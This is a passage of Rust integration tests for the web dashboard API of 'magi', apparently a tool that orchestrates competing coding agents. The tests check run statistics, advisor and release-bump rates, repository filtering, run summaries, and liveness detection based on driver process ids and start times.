18675        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
18676        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
18677    }
18678
18679    #[test]
18680    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
18681        let start = APP_JS
18682            .find("function scheduleSearch(")
18683            .expect("scheduleSearch exists");
18684        let body = &APP_JS[start..];
18685        let body = &body[..body.find("\n}\n").expect("function end")];
18686        assert!(body.contains("s.seq += 1"));
18687    }
18688
18689    /// The dashboard reads every run's state itself rather than trusting a
18690    /// separately-maintained count, so an unreadable run must be counted the
18691    /// same way `/api/health` counts it - never silently dropped the way the
18692    /// CLI's own `stats::load_all` drops it.
18693    #[tokio::test]
18694    async fn stats_runs_unreadable_matches_health() {
18695        let f = Fixture::start().await;
18696        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
18697        let broken = f.runs().join("20260902-140502-bad");
18698        std::fs::create_dir_all(&broken).expect("run dir");
18699        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
18700
18701        let stats = f.get("/api/stats").await;
18702        let health = f.get("/api/health").await;
18703
18704        assert_eq!(stats.status, 200);
18705        assert_eq!(stats.json()["totals"]["runs"], 1);
18706        assert_eq!(stats.json()["runs_unreadable"], 1);
18707        assert_eq!(
18708            stats.json()["runs_unreadable"],
18709            health.json()["runs_unreadable"],
18710            "the dashboard and /api/health must never disagree about how many \
18711             runs could not be read"
18712        );
18713    }
18714
18715    #[tokio::test]
18716    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
18717        let f = Fixture::start().await;
18718        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18719        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
18720        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
18721
18722        let totals = &f.get("/api/stats").await.json()["totals"];
18723        assert_eq!(totals["runs"], 3);
18724        assert_eq!(totals["merged"], 1);
18725        assert_eq!(totals["stalled"], 1);
18726        assert_eq!(totals["in_progress"], 1);
18727        // A stalled run must never read as blocked/merged/ready - it is its
18728        // own bucket, not folded into a "decided" one.
18729        assert_eq!(totals["blocked"], 0);
18730        assert_eq!(totals["ready"], 0);
18731    }
18732
18733    #[tokio::test]
18734    async fn stats_advisors_report_proposals_and_reflection() {
18735        use crate::advise::{Advice, AdvisorRecord, Reflection};
18736        use crate::verdict::Proposal;
18737
18738        let f = Fixture::start().await;
18739        let mut state = RunState::new(
18740            PathBuf::from("/repo/magi"),
18741            "main".to_owned(),
18742            "0123456789abcdef".to_owned(),
18743            "task".to_owned(),
18744            Config::default(),
18745        );
18746        state.id = "20260902-140501-a".to_owned();
18747        state.status = RunStatus::Merged;
18748        state.advice = Some(Advice {
18749            records: vec![
18750                AdvisorRecord {
18751                    seat: "advisor-1".to_owned(),
18752                    agent: "alpha".to_owned(),
18753                    proposal: Some(Proposal {
18754                        approach: "do it".to_owned(),
18755                        key_tradeoff: "speed over memory".to_owned(),
18756                        risks: Vec::new(),
18757                        touches: Vec::new(),
18758                        why_not_naive: "breaks under load".to_owned(),
18759                    }),
18760                    error: None,
18761                    duration_ms: 0,
18762                    reflection: Reflection::Strong,
18763                },
18764                AdvisorRecord {
18765                    seat: "advisor-2".to_owned(),
18766                    agent: "alpha".to_owned(),
18767                    proposal: None,
18768                    error: Some("timed out".to_owned()),
18769                    duration_ms: 0,
18770                    reflection: Reflection::Absent,
18771                },
18772            ],
18773            synthesis: Some("blended brief".to_owned()),
18774        });
18775        let dir = f.runs().join(&state.id);
18776        std::fs::create_dir_all(&dir).expect("run dir");
18777        std::fs::write(
18778            dir.join("run.json"),
18779            serde_json::to_string_pretty(&state).expect("serialize run"),
18780        )
18781        .expect("write run.json");
18782
18783        // `alpha` is in no roster here; this test is about the rates.
18784        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
18785        let alpha = advisors
18786            .as_array()
18787            .expect("an array")
18788            .iter()
18789            .find(|a| a["agent"] == "alpha")
18790            .expect("alpha row");
18791        assert_eq!(alpha["seated"], 2);
18792        assert_eq!(alpha["proposed"], 1);
18793        assert_eq!(alpha["absent"], 1);
18794        assert_eq!(alpha["strong"], 1);
18795        assert_eq!(alpha["faint"], 0);
18796        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
18797    }
18798
18799    #[tokio::test]
18800    async fn stats_hides_agents_outside_the_roster_unless_all() {
18801        use crate::run::Candidate;
18802        let repo = TempDir::new().expect("repo dir");
18803        std::fs::write(
18804            repo.path().join("magi.toml"),
18805            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
18806        )
18807        .expect("magi.toml");
18808        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
18809        let mut state = RunState::new(
18810            PathBuf::from("/repo/magi"),
18811            "main".to_owned(),
18812            "0123456789abcdef".to_owned(),
18813            "task".to_owned(),
18814            Config::default(),
18815        );
18816        state.id = "20260902-140501-a".to_owned();
18817        state.status = RunStatus::Merged;
18818        for (label, agent) in [('A', "keep"), ('B', "retired")] {
18819            let mut c: Candidate = serde_json::from_value(serde_json::json!({
18820                "index": 0, "label": label.to_string(), "agent": agent,
18821                "branch": "b", "worktree": "/w",
18822            }))
18823            .expect("candidate");
18824            c.label = label;
18825            state.candidates.push(c);
18826        }
18827        let dir = f.runs().join(&state.id);
18828        std::fs::create_dir_all(&dir).expect("run dir");
18829        std::fs::write(
18830            dir.join("run.json"),
18831            serde_json::to_string_pretty(&state).expect("serialize run"),
18832        )
18833        .expect("write run.json");
18834
18835        let agents_of = |v: &serde_json::Value| -> Vec<String> {
18836            v["agents"]
18837                .as_array()
18838                .expect("array")
18839                .iter()
18840                .map(|a| a["agent"].as_str().unwrap().to_owned())
18841                .collect()
18842        };
18843        let hidden = f.get("/api/stats").await.json();
18844        assert_eq!(agents_of(&hidden), ["keep"]);
18845        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
18846        assert_eq!(hidden["totals"]["runs"], 1);
18847
18848        let all = f.get("/api/stats?all=true").await.json();
18849        assert_eq!(agents_of(&all).len(), 2);
18850        assert_eq!(all["retired_hidden"], serde_json::json!([]));
18851        // Verify competitive and solo keys exist on agent entries
18852        let keep_agent = all["agents"]
18853            .as_array()
18854            .unwrap()
18855            .iter()
18856            .find(|a| a["agent"] == "keep")
18857            .unwrap();
18858        assert_eq!(keep_agent["competitive_entered"], 1);
18859        assert_eq!(keep_agent["competitive_wins"], 0);
18860        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
18861        assert_eq!(keep_agent["solo_entered"], 0);
18862        assert_eq!(keep_agent["solo_adopted"], 0);
18863        assert!(keep_agent["solo_adoption_rate"].is_null());
18864    }
18865
18866    #[tokio::test]
18867    async fn stats_release_bumps_split_clean_from_attention() {
18868        use crate::run::ReleaseBump;
18869
18870        let f = Fixture::start().await;
18871
18872        let mut clean = RunState::new(
18873            PathBuf::from("/repo/magi"),
18874            "main".to_owned(),
18875            "0123456789abcdef".to_owned(),
18876            "task".to_owned(),
18877            Config::default(),
18878        );
18879        clean.id = "20260902-140501-a".to_owned();
18880        clean.status = RunStatus::Merged;
18881        clean.release_bump = Some(ReleaseBump {
18882            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
18883            version: Some("1.0.0".to_owned()),
18884            automerge_enabled: true,
18885            merged_directly: false,
18886            local: false,
18887            release: None,
18888            problem: None,
18889            action_required: None,
18890            skipped: None,
18891        });
18892
18893        let mut blocked = RunState::new(
18894            PathBuf::from("/repo/magi"),
18895            "main".to_owned(),
18896            "0123456789abcdef".to_owned(),
18897            "task".to_owned(),
18898            Config::default(),
18899        );
18900        blocked.id = "20260902-140502-b".to_owned();
18901        blocked.status = RunStatus::Merged;
18902        blocked.release_bump = Some(ReleaseBump {
18903            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
18904            version: Some("1.0.1".to_owned()),
18905            automerge_enabled: false,
18906            merged_directly: false,
18907            local: false,
18908            release: None,
18909            problem: Some("checks red".to_owned()),
18910            action_required: Some("look at the PR".to_owned()),
18911            skipped: None,
18912        });
18913
18914        for state in [&clean, &blocked] {
18915            let dir = f.runs().join(&state.id);
18916            std::fs::create_dir_all(&dir).expect("run dir");
18917            std::fs::write(
18918                dir.join("run.json"),
18919                serde_json::to_string_pretty(state).expect("serialize run"),
18920            )
18921            .expect("write run.json");
18922        }
18923
18924        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18925        assert_eq!(bumps["merged"], 2);
18926        assert_eq!(bumps["recorded"], 2);
18927        assert_eq!(bumps["pr_opened"], 2);
18928        assert_eq!(bumps["automerge_enabled"], 1);
18929        assert_eq!(bumps["needs_attention"], 1);
18930        assert_eq!(bumps["clean"], 1);
18931        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
18932        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
18933    }
18934
18935    #[tokio::test]
18936    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
18937        let f = Fixture::start().await;
18938        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
18939
18940        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
18941        assert_eq!(bumps["merged"], 1);
18942        assert_eq!(bumps["recorded"], 0);
18943        // `merged` is nonzero, so coverage still reads as a real 0%, not an
18944        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
18945        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
18946        // `pr_opened` and `recorded` are both zero here, so these rates have
18947        // no denominator to compute from and must be null.
18948        assert_eq!(bumps["automerge_rate"], Value::Null);
18949        assert_eq!(bumps["attention_rate"], Value::Null);
18950    }
18951
18952    #[tokio::test]
18953    async fn stats_queue_counts_come_from_the_live_queue() {
18954        let f = Fixture::start().await;
18955        let q = f.queue();
18956        let mut queued = Task::new(
18957            "queued task".to_owned(),
18958            "do it".to_owned(),
18959            PathBuf::from("/repo"),
18960            Source::Human,
18961        );
18962        q.put(&mut queued).expect("put queued");
18963        let mut held = Task::new(
18964            "held task".to_owned(),
18965            "do it later".to_owned(),
18966            PathBuf::from("/repo"),
18967            Source::Human,
18968        );
18969        held.hold_machine(Some("out of attempts".to_owned()));
18970        q.put(&mut held).expect("put held");
18971
18972        let queue = f.get("/api/stats").await.json()["queue"].clone();
18973        assert_eq!(queue["queued"], 1);
18974        assert_eq!(queue["held"], 1);
18975        assert_eq!(queue["running"], 0);
18976        assert_eq!(queue["done"], 0);
18977        assert_eq!(queue["failed"], 0);
18978        assert_eq!(queue["blocked"], 0);
18979    }
18980
18981    #[tokio::test]
18982    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
18983        let f = Fixture::start().await;
18984        let stats = f.get("/api/stats").await;
18985        assert_eq!(stats.status, 200);
18986        assert_eq!(stats.json()["totals"]["runs"], 0);
18987        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
18988        assert_eq!(stats.json()["runs_unreadable"], 0);
18989        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
18990        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
18991        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
18992        assert_eq!(stats.json()["repo"], Value::Null);
18993    }
18994
18995    #[tokio::test]
18996    async fn stats_lists_every_repository_with_runs_recorded() {
18997        let f = Fixture::start().await;
18998        write_run_repo(
18999            &f.runs(),
19000            "20260902-140501-a",
19001            RunStatus::Merged,
19002            "/repos/a",
19003        );
19004        write_run_repo(
19005            &f.runs(),
19006            "20260902-140502-b",
19007            RunStatus::Merged,
19008            "/repos/a",
19009        );
19010        write_run_repo(
19011            &f.runs(),
19012            "20260902-140503-c",
19013            RunStatus::Blocked,
19014            "/repos/b",
19015        );
19016
19017        let stats = f.get("/api/stats").await;
19018        assert_eq!(stats.status, 200);
19019        // Unfiltered - the aggregate across both repositories.
19020        assert_eq!(stats.json()["totals"]["runs"], 3);
19021        assert_eq!(stats.json()["repo"], Value::Null);
19022
19023        let repos = stats.json()["repos"].clone();
19024        let repos = repos.as_array().unwrap();
19025        assert_eq!(repos.len(), 2);
19026        // Busiest (2 runs) first.
19027        assert_eq!(repos[0]["repo"], "/repos/a");
19028        assert_eq!(repos[0]["name"], "a");
19029        assert_eq!(repos[0]["runs"], 2);
19030        assert_eq!(repos[1]["repo"], "/repos/b");
19031        assert_eq!(repos[1]["runs"], 1);
19032    }
19033
19034    #[tokio::test]
19035    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
19036        let f = Fixture::start().await;
19037        write_run_repo(
19038            &f.runs(),
19039            "20260902-140501-a",
19040            RunStatus::Merged,
19041            "/repos/a",
19042        );
19043        write_run_repo(
19044            &f.runs(),
19045            "20260902-140502-b",
19046            RunStatus::Blocked,
19047            "/repos/b",
19048        );
19049
19050        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
19051        assert_eq!(stats.status, 200);
19052        assert_eq!(stats.json()["totals"]["runs"], 1);
19053        assert_eq!(stats.json()["totals"]["merged"], 1);
19054        assert_eq!(stats.json()["repo"], "/repos/a");
19055        // The repository list itself is unaffected by the filter - it is
19056        // what a client switches repositories from.
19057        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
19058        // runs_unreadable is a whole-workload count, never scoped to the
19059        // selected repository - see StatsView::runs_unreadable's own doc.
19060        assert_eq!(stats.json()["runs_unreadable"], 0);
19061    }
19062
19063    #[tokio::test]
19064    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
19065        let f = Fixture::start().await;
19066        write_run_repo(
19067            &f.runs(),
19068            "20260902-140501-a",
19069            RunStatus::Merged,
19070            "/repos/a",
19071        );
19072        write_run_repo(
19073            &f.runs(),
19074            "20260902-140502-b",
19075            RunStatus::Merged,
19076            "/repos/b",
19077        );
19078
19079        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
19080            let json = f.get(uri).await.json();
19081            let daily = json["daily"].as_array().expect("daily is an array");
19082            assert_eq!(daily.len(), 30);
19083            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
19084            let mut sorted = dates.clone();
19085            sorted.sort();
19086            assert_eq!(dates, sorted);
19087            for d in daily {
19088                assert_eq!(
19089                    d["merged"].as_u64().unwrap()
19090                        + d["ready"].as_u64().unwrap()
19091                        + d["other"].as_u64().unwrap(),
19092                    d["runs"].as_u64().unwrap()
19093                );
19094            }
19095            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
19096        }
19097    }
19098
19099    #[tokio::test]
19100    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
19101        let f = Fixture::start().await;
19102        write_run_repo(
19103            &f.runs(),
19104            "20260902-140501-a",
19105            RunStatus::Merged,
19106            "/repos/a",
19107        );
19108
19109        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
19110        assert_eq!(stats.status, 404);
19111    }
19112
19113    #[tokio::test]
19114    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
19115        let f = Fixture::start().await;
19116        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
19117
19118        let summary = f.get("/api/runs").await.json();
19119        let row = &summary[0];
19120        assert_eq!(row["short"], "a1b2");
19121        assert_eq!(row["status"], "ready");
19122        assert_eq!(row["done"], true);
19123        assert_eq!(row["title"], "Add a web UI");
19124        assert_eq!(row["repo_name"], "magi");
19125        assert_eq!(row["judges"], 3);
19126        assert_eq!(row["winner"], Value::Null);
19127        assert_eq!(row["reviews"], 0);
19128
19129        // The short id resolves, and the detail route is the state itself, not
19130        // a projection of it: the UI reads fields the summary does not carry.
19131        let detail = f.get("/api/runs/a1b2").await;
19132        assert_eq!(detail.status, 200);
19133        assert_eq!(detail.json()["base_branch"], "main");
19134        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
19135    }
19136
19137    /// `status: "ready"` alone cannot tell a run still headed for a landing
19138    /// (a PR closed without merging, say) apart from one `[merge] mode =
19139    /// "none"` left unmerged for good — the confusion the operator flagged
19140    /// after the CLI report already grew a `not landed — nothing to do by
19141    /// design` line for exactly this case (`report.rs`). Both the list route
19142    /// and the detail route must carry a flag the phone can key on instead of
19143    /// re-deriving it from `status` + `merge.mode` itself.
19144    #[tokio::test]
19145    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
19146        let f = Fixture::start().await;
19147
19148        let mut none_run = RunState::new(
19149            PathBuf::from("/repo/magi"),
19150            "main".to_owned(),
19151            "0123456789abcdef".to_owned(),
19152            "Add a web UI".to_owned(),
19153            Config::default(),
19154        );
19155        none_run.id = "20260902-140503-none".to_owned();
19156        none_run.status = RunStatus::Ready;
19157        none_run.merge = Some(crate::run::MergeOutcome {
19158            mode: crate::config::MergeMode::None,
19159            ok: true,
19160            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
19161            empty: false,
19162        });
19163        write_state(&f.runs(), &none_run);
19164
19165        let mut pr_run = RunState::new(
19166            PathBuf::from("/repo/magi"),
19167            "main".to_owned(),
19168            "0123456789abcdef".to_owned(),
19169            "Add a web UI".to_owned(),
19170            Config::default(),
19171        );
19172        pr_run.id = "20260902-140504-prcl".to_owned();
19173        pr_run.status = RunStatus::Ready;
19174        pr_run.merge = Some(crate::run::MergeOutcome {
19175            mode: crate::config::MergeMode::Pr,
19176            ok: false,
19177            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
19178            empty: false,
19179        });
19180        write_state(&f.runs(), &pr_run);
19181
19182        let summary = f.get("/api/runs").await.json();
19183        let rows: std::collections::HashMap<&str, &Value> = summary
19184            .as_array()
19185            .expect("an array")
19186            .iter()
19187            .map(|r| (r["id"].as_str().expect("an id"), r))
19188            .collect();
19189        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
19190        assert_eq!(
19191            rows[none_run.id.as_str()]["unmerged_by_design"],
19192            true,
19193            "a mode-none Ready must be flagged in the list"
19194        );
19195        assert_eq!(
19196            rows[pr_run.id.as_str()]["unmerged_by_design"],
19197            false,
19198            "a Ready reached by a closed pull request is a different case"
19199        );
19200
19201        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
19202        assert_eq!(none_detail["status"], "ready");
19203        assert_eq!(none_detail["unmerged_by_design"], true);
19204
19205        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
19206        assert_eq!(pr_detail["unmerged_by_design"], false);
19207    }
19208
19209    /// `RunState::active` is only ever cleared by whoever populated it, so the
19210    /// detail route also has to say whether a daemon is actually still
19211    /// driving this run right now — otherwise a seat from a killed process's
19212    /// last wave would read as live forever.
19213    #[tokio::test]
19214    async fn run_core_survives_unavailable_related_stores() {
19215        let home = TempDir::new().unwrap();
19216        let ui = delta_test_ui(home.path());
19217        let state = RunState::new(
19218            PathBuf::from("/repo/magi"),
19219            "main".into(),
19220            "0123456789abcdef".into(),
19221            "Useful core instructions".into(),
19222            Config::default(),
19223        );
19224        let dir = ui.runs.join(&state.id);
19225        std::fs::create_dir_all(&dir).unwrap();
19226        std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
19227        std::fs::write(ui.questions.root(), "unavailable").unwrap();
19228        std::fs::write(ui.queue.root(), "unavailable").unwrap();
19229        let core = run_core(State(ui.clone()), Path(state.id.clone()))
19230            .await
19231            .unwrap()
19232            .0;
19233        assert_eq!(core.state.instruction, state.instruction);
19234        assert_eq!(core.state.updated_at, state.updated_at);
19235        assert!(core.task.is_none());
19236        assert!(run_detail(State(ui), Path(state.id)).await.is_err());
19237    }
19238
19239    #[tokio::test]
19240    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
19241        let f = Fixture::start().await;
19242        // Matches `write_daemon`'s hard-coded `current.run`, so the second
19243        // half of this test can claim the daemon is working on it without a
19244        // second helper.
19245        let id = "20260902-140502-bbbb";
19246        let mut state = RunState::new(
19247            PathBuf::from("/repo/magi"),
19248            "main".to_owned(),
19249            "0123456789abcdef".to_owned(),
19250            "Add a web UI".to_owned(),
19251            Config::default(),
19252        );
19253        state.id = id.to_owned();
19254        state.status = RunStatus::Judging;
19255        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
19256        let dir = f.runs().join(id);
19257        std::fs::create_dir_all(&dir).expect("run dir");
19258        std::fs::write(
19259            dir.join("run.json"),
19260            serde_json::to_string_pretty(&state).expect("serialize run"),
19261        )
19262        .expect("write run.json");
19263
19264        // No daemon.json at all, and no `driver_pid` recorded either (this
19265        // state was written directly, never through `execute()`): there is
19266        // nothing to confirm either way, so the route must say `"unknown"` —
19267        // never `"dead"`, which is exactly the false diagnosis a manual `magi
19268        // run` used to get from this route before `driver_pid` existed.
19269        let cold = f.get(&format!("/api/runs/{id}")).await.json();
19270        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
19271        assert_eq!(cold["live"], "unknown", "{cold}");
19272
19273        // A fresh heartbeat naming exactly this run: the same entry now reads
19274        // as confirmed, not merely recorded.
19275        write_daemon(f.home.path(), Timestamp::now());
19276        let warm = f.get(&format!("/api/runs/{id}")).await.json();
19277        assert_eq!(warm["live"], "live", "{warm}");
19278    }
19279
19280    #[test]
19281    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
19282        let home = tempfile::tempdir().expect("temp home");
19283        let runs = home.path().join("runs");
19284        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
19285            let mut state = RunState::new(
19286                PathBuf::from("/repo/magi"),
19287                "main".to_owned(),
19288                "0123456789abcdef".to_owned(),
19289                "Generated review context, not authored task criteria".to_owned(),
19290                Config::default(),
19291            );
19292            state.origin = origin;
19293            state.status = RunStatus::Blocked;
19294            // Earlier migrations must not infer these facts again.
19295            state.driver_exited = false;
19296            state.gate_ran = true;
19297            let expected = serde_json::to_value(&state).expect("serialize current state");
19298            let mut legacy = expected.clone();
19299            legacy["schema"] = serde_json::json!(13);
19300            legacy.as_object_mut().unwrap().remove("task_instruction");
19301            let dir = runs.join(&state.id);
19302            std::fs::create_dir_all(&dir).expect("run dir");
19303            let path = dir.join("run.json");
19304            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
19305            std::fs::write(&path, &body).expect("write legacy run");
19306
19307            for loaded in [
19308                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
19309                read_run(&runs, &state.id).expect("web migration"),
19310            ] {
19311                assert_eq!(loaded.schema, crate::run::SCHEMA);
19312                assert!(loaded.task_instruction.is_none());
19313                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
19314            }
19315            assert_eq!(runs_unreadable(&runs), 0);
19316            assert_eq!(std::fs::read(&path).unwrap(), body);
19317        }
19318    }
19319
19320    /// Where a run came from is shown, and a run written before origins were
19321    /// recorded (schema 12, no `origin` key) stays readable and says so.
19322    #[tokio::test]
19323    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
19324        let f = Fixture::start().await;
19325        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
19326            let mut state = RunState::new(
19327                PathBuf::from("/repo/magi"),
19328                "main".to_owned(),
19329                "0123456789abcdef".to_owned(),
19330                "Add a web UI".to_owned(),
19331                Config::default(),
19332            );
19333            state.id = id.to_owned();
19334            state.origin = origin;
19335            let mut value = serde_json::to_value(&state).expect("serialize run");
19336            if let Some(schema) = schema {
19337                value["schema"] = serde_json::json!(schema);
19338                value.as_object_mut().unwrap().remove("origin");
19339            }
19340            let dir = f.runs().join(id);
19341            std::fs::create_dir_all(&dir).expect("run dir");
19342            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
19343        };
19344        write(
19345            "20260930-092817-ec34",
19346            Some(crate::run::Origin::from_agent_env(
19347                Some(("4a7b".to_owned(), "chat".to_owned())),
19348                None,
19349            )),
19350            None,
19351        );
19352        write("20260930-092817-0ld1", None, Some(12));
19353
19354        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
19355        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
19356        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
19357
19358        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
19359        assert_eq!(
19360            old["origin_label"], "origin unknown (started before origins were recorded)",
19361            "{old}"
19362        );
19363        assert!(old["origin"].is_null(), "{old}");
19364
19365        let list = f.get("/api/runs").await.json();
19366        let labels: Vec<_> = list
19367            .as_array()
19368            .unwrap()
19369            .iter()
19370            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
19371            .collect();
19372        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
19373    }
19374
19375    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
19376    /// review` claims no daemon at all, so before this field existed the
19377    /// route above read it as `"dead"` — indistinguishable from a run a
19378    /// killed process abandoned — the whole time it was genuinely still
19379    /// answering. With a live pid recorded, it must read `"live"` even
19380    /// though no daemon claims it.
19381    #[tokio::test]
19382    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
19383        let f = Fixture::start().await;
19384        let id = "20260922-090000-cccc";
19385        let mut state = RunState::new(
19386            PathBuf::from("/repo/magi"),
19387            "main".to_owned(),
19388            "0123456789abcdef".to_owned(),
19389            "Review only".to_owned(),
19390            Config::default(),
19391        );
19392        state.id = id.to_owned();
19393        state.status = RunStatus::Reviewing;
19394        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
19395        // This test process's own pid: guaranteed alive, and never needs a
19396        // real daemon or a second process to prove it. The matching start-time
19397        // marker is what `liveness` now requires alongside a live pid — see
19398        // `RunState::driver_started_at`'s own doc for why the pid alone is
19399        // not enough.
19400        state.driver_pid = Some(std::process::id());
19401        state.driver_started_at = Some(
19402            crate::proc::process_started_at(std::process::id())
19403                .expect("this test process's own start time must be queryable"),
19404        );
19405        let dir = f.runs().join(id);
19406        std::fs::create_dir_all(&dir).expect("run dir");
19407        std::fs::write(
19408            dir.join("run.json"),
19409            serde_json::to_string_pretty(&state).expect("serialize run"),
19410        )
19411        .expect("write run.json");
19412
19413        let detail = f.get(&format!("/api/runs/{id}")).await.json();
19414        assert_eq!(detail["live"], "live", "{detail}");
19415    }
19416
19417    /// A killed manual run's pid can be handed to a wholly unrelated later
19418    /// process — a live query on `driver_pid` alone would read this as
19419    /// `"live"`, exactly the false positive `driver_started_at` exists to
19420    /// catch (see that field's own doc, and `RunState::liveness_with`'s
19421    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
19422    #[tokio::test]
19423    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
19424        let f = Fixture::start().await;
19425        let id = "20260922-090100-dddd";
19426        let mut state = RunState::new(
19427            PathBuf::from("/repo/magi"),
19428            "main".to_owned(),
19429            "0123456789abcdef".to_owned(),
19430            "Review only".to_owned(),
19431            Config::default(),
19432        );
19433        state.id = id.to_owned();
19434        state.status = RunStatus::Reviewing;
19435        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
19436        // This test process's own pid really is alive, but the marker
19437        // recorded here does not match what it actually started at —
19438        // standing in for the pid having since been reused by a different
19439        // process than the one that wrote `run.json`.
19440        state.driver_pid = Some(std::process::id());
19441        state.driver_started_at = Some("1".to_owned());
19442        let dir = f.runs().join(id);
19443        std::fs::create_dir_all(&dir).expect("run dir");
19444        std::fs::write(
19445            dir.join("run.json"),
19446            serde_json::to_string_pretty(&state).expect("serialize run"),
19447        )
19448        .expect("write run.json");
19449
19450        let detail = f.get(&format!("/api/runs/{id}")).await.json();
19451        assert_eq!(detail["live"], "dead", "{detail}");
19452    }
19453
19454    /// The deck's competition list is normally the first place an operator
19455    /// sees an old run. It must carry the same process verdict as detail, or
19456    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
19457    #[test]
19458    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
19459        let mk = |id: &str, pid: Option<u32>| {
19460            let mut s = RunState::new(
19461                PathBuf::from("/repo/magi"),
19462                "main".to_owned(),
19463                "0123456789abcdef".to_owned(),
19464                "Add a web UI".to_owned(),
19465                Config::default(),
19466            );
19467            s.id = id.to_owned();
19468            s.driver_pid = pid;
19469            s.driver_started_at = Some("1790000000".to_owned());
19470            s
19471        };
19472        let states = vec![
19473            mk("20260902-140502-aaaa", Some(77)),
19474            mk("20260902-140502-bbbb", Some(77)),
19475            mk("20260902-140502-cccc", Some(77)),
19476            mk("20260902-140502-dddd", None),
19477        ];
19478        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
19479        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
19480        let sup: HashMap<String, String> = [(
19481            "20260902-140502-aaaa".to_owned(),
19482            "20260902-140502-cccc".to_owned(),
19483        )]
19484        .into();
19485
19486        let status_calls = std::cell::Cell::new(0);
19487        let identity_calls = std::cell::Cell::new(0);
19488        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
19489            |_| {
19490                status_calls.set(status_calls.get() + 1);
19491                Some(true)
19492            },
19493            |_| {
19494                identity_calls.set(identity_calls.get() + 1);
19495                Some("1790000000".to_owned())
19496            },
19497        ));
19498        let rows = summarize(
19499            states,
19500            &open,
19501            &claimed,
19502            &sup,
19503            |p| probe.borrow_mut().status(p),
19504            |p| probe.borrow_mut().started_at(p),
19505        );
19506
19507        assert_eq!(status_calls.get(), 1, "one pid, one status query");
19508        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
19509        assert_eq!(rows.len(), 4);
19510        assert!(!rows[0].waiting && rows[1].waiting);
19511        assert_eq!(rows[0].live, crate::run::Liveness::Live);
19512        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
19513        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
19514        assert_eq!(rows[1].superseded_by, None);
19515    }
19516
19517    #[test]
